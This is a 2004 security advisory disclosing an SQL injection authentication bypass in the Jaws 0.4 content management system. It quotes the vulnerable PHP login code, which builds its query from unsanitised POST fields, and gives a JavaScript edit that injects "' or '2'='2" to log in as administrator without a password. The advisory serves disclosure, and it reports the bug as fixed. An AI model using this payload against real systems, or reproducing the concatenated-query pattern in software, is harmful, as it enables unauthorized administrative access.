Jaws 0.4: authentication bypass

[Rubén Molina <ruben@xxxxxxxxxxx>]

/////////////////////////////////////////////////////


////            Vulnerable Program: JAWS
////
////            Version : 0.4
////
////            Url: http://www.jaws.com.mx
////
////            The Bug: SQL injection to allows bypass the auth.
////
////            Date: Today, July 28 off 2004
////
////            Author: Fernando Quintero (a.k.a nonroot)
////             Email: nando@xxxxxxxxxxx


//////////////////////////////////////////////////////


I. Affected software description:

 Jaws is a Framework and Content Management System for building dynamic
web sites.
 It aims to be User Friendly giving ease of use and lots of ways to
customize web sites,
 but at the same time is Developer Frendly, it offers a simple and
powerful framework to hack
 your own modules. Jaws is Free Software under the GPL.


II. Bug:

A vulnerability exists in jaws 0.4 that allows that anyone to get in the
control panel with administrator rights without a password.
The bug exist in the query when the system tries to authenticate the user,
there anyone can inject sql code.
This is not so important if there exists the "magic_quotes = ON" option in
the php.ini.
But what if jaws disable it by itself?
All can understand that a possible attack by SQL would be successful and
the the vulnerable serious system
All the people can understand that the sql injection is carry out
succesfully and the system would be vulnerable.

The lines in game are :

In the main config file of jaws we can see:

//config.php
...
// We don't like magic_quotes ;-)
no_magic_quotes();
...
//end

The function no_magic_quotes() disable indeed the  magic_quotes in the
system for jaws, allowing to open to a possible attack of SQL injection.

Now the vulnerable code:

//controlpanel.php line : 107 o por ahi cerca.

1 function login()
2        {
3                if(empty($_POST["crypted_password"]))
4                        $sqllogin = "select id, email, name, username 
from jaws_user where username = '".$_POST["user"]."' and password =
'".md5($_POST["password"])$
5                else{
6                        $sqllogin = "select id, email, name, username 
from jaws_user where username = '".$_POST["user"]."' and password =
'strtolower(".$_POST["crypted_passwor$
7        }
8                $rs = $GLOBALS["app"]->db->query($sqllogin);
9                if ($row = $rs->fetch_row())
10                {
11                       $session_id = rand();
12                        setcookie
("logged",md5($session_id),time()+(3600*12));
13                        setcookie
("username",$row["username"],time()+(3600*12));
14                        $_SESSION["logged"] = $session_id;
15                        $_SESSION["userid"] = $row["id"];
16                        header("Location: admin.php");
17                } else {
18                        return $this->login_form("Bad login");
19                }
20        }

In [3] the state of the "crypted_password" variable is checked, in [6]
it's executed using the content of variables without
a correct validation.

This allows to inject some code  through the variables and and to manage
to be validated in the system.

a possible way to exploit it should be:

Modifying the javascript function in the Login.html file to:

<script type="text/javascript">

function crypt_form(form) {
   var new_password = calcMD5(form.password.value);
   form.crypted_password.value = "' or '2'='2";
   form.password.value = "";
   return true;
}
</script>

The java script function always will return crypted_password= ' OR '2'='2
when the form is loaded we can introduce any user and any password and be
validated in the system ;)

The reason for this is that query always will seem thus

select id, email, name, username  from jaws_user where username =
'any-spanish-word;)' and password = '' or '2'='2'

Where '2'='2' always will be true, and any user will be validated.

We can also see from [3] it´s possible inject sql code trought "user" or
"password" variables.


III. SOLUTION:

The coders where contacted and the code was fixed in the cvs ;).
and they published information about the bug in their home page.


IV. GREETINGS

    - Greets All the community. I learn of you!
    - Silence Team and the GIGAX Staff.


V. CONTACT

Fernando Quintero
nando@xxxxxxxxx
Silence Team


VI. FINAL WORDS

 - I know it´s a simple bug, but it can be instructive

 - Sorry by the english, so  !! Viva COLOMBIA !!